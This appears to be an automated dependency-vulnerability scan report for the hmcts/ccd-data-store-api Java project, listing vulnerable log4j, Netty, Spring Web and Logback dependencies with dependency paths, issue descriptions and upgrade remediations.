  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.

In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).

Alternative Remediation

If you have reason to believe your application may be vulnerable and upgrading is not an option, you can either:

  • Disable/remove JDBCAppender
  • If JDBCAppender is used, make sure that it is not configured to use any protocol other than Java

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Denial of Service (DoS). When the post request body data received by the server is greater than 16k, netty will use DiskAttribute, which will create a temporary file, and use deleteOnExit() when the file needs to be deleted, which results in DeleteOnExitHook.files continually growing and leading to a denial of service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.53.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty currently just skips control characters when these are present at the beginning or end of the header name. It should instead fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore, and therefore does not do the validation itself.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.71.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty mishandles whitespace before the colon in HTTP headers such as a Transfer-Encoding : chunked line. This can lead to HTTP request smuggling where an attacker can bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.

Note:

io.netty:netty is deprecated. Users should update to io.netty:netty-all

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.42.Final or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Denial of Service (DoS) such that if the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which leads the server to buffer up to 16MB of data per connection.

The SniHandler class is a handler that waits for the TLS handshake to configure a SslHandler according to the indicated server name by the ClientHello record. For this matter it allocates a ByteBuf using the value defined in the ClientHello record.

Note:

An attacker can craft a packet that makes the SslClientHelloHandler to:

  1. Allocate a 16MB ByteBuf.

  2. Not fail decode method in buffer.

  3. Get out of the loop without an exception.

The combination of this without the use of a timeout makes it easy to connect to a TCP server and allocate 16MB of heap memory per connection.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-handler to version 4.1.94.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.

Note:

This is only exploitable if all of the following conditions are met:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest;

  • The request object is created first and later modified through setUri();

  • The value passed into setUri() is attacker-controlled or attacker-influenced;

  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

Improper Validation of Certificate with Host Mismatch

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.3.5.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component. An attacker can intercept or redirect log traffic by performing a man-in-the-middle attack if they are able to intercept or redirect network traffic between the client and the log receiver and can present a server certificate issued by a certification authority trusted by the configured trust store or the default Java trust store.

Workaround

This vulnerability can be mitigated by configuring the SocketAppender to use a private or restricted trust root to limit the set of trusted certificates.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.25.3 or higher.

References

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.security:spring-security-web@7.1.0, org.springframework.security:spring-security-oauth2-core@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-openfeign-core@5.0.1 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via incorrect host parsing in UriComponentsBuilder. An attacker can perform server-side request forgery by supplying a crafted URL that is interpreted differently than intended during validation, allowing requests to be sent to unintended hosts despite application-level hostname validation checks.

Remediation

Upgrade org.springframework:spring-web to version 6.2.19, 7.0.8 or higher.

References

medium severity

Information Disclosure

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Information Disclosure via the AbstractDiskHttpData method, and on Unix-like systems.

When netty's multipart decoders are used, local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk are enabled. On unix-like systems, the temporary directory is shared between all users. As such, writing to this directory using API's that do not explicitly set the file/directory permissions can lead to information disclosure. The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Sensitive information is written to this file in AbstractDiskHttpData, and other local users can read it.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.59.Final or higher.

References

medium severity

Information Disclosure

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Information Disclosure via the AbstractDiskHttpData method, and on Unix-like systems.

When netty's multipart decoders are used, local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk are enabled. On unix-like systems, the temporary directory is shared between all users. As such, writing to this directory using API's that do not explicitly set the file/directory permissions can lead to information disclosure. The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Sensitive information is written to this file in AbstractDiskHttpData, and other local users can read it.

Remediation

Upgrade io.netty:netty-handler to version 4.1.59.Final or higher.

References

medium severity

Improper Neutralization of Special Elements

  • Vulnerable module: ch.qos.logback:logback-classic
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
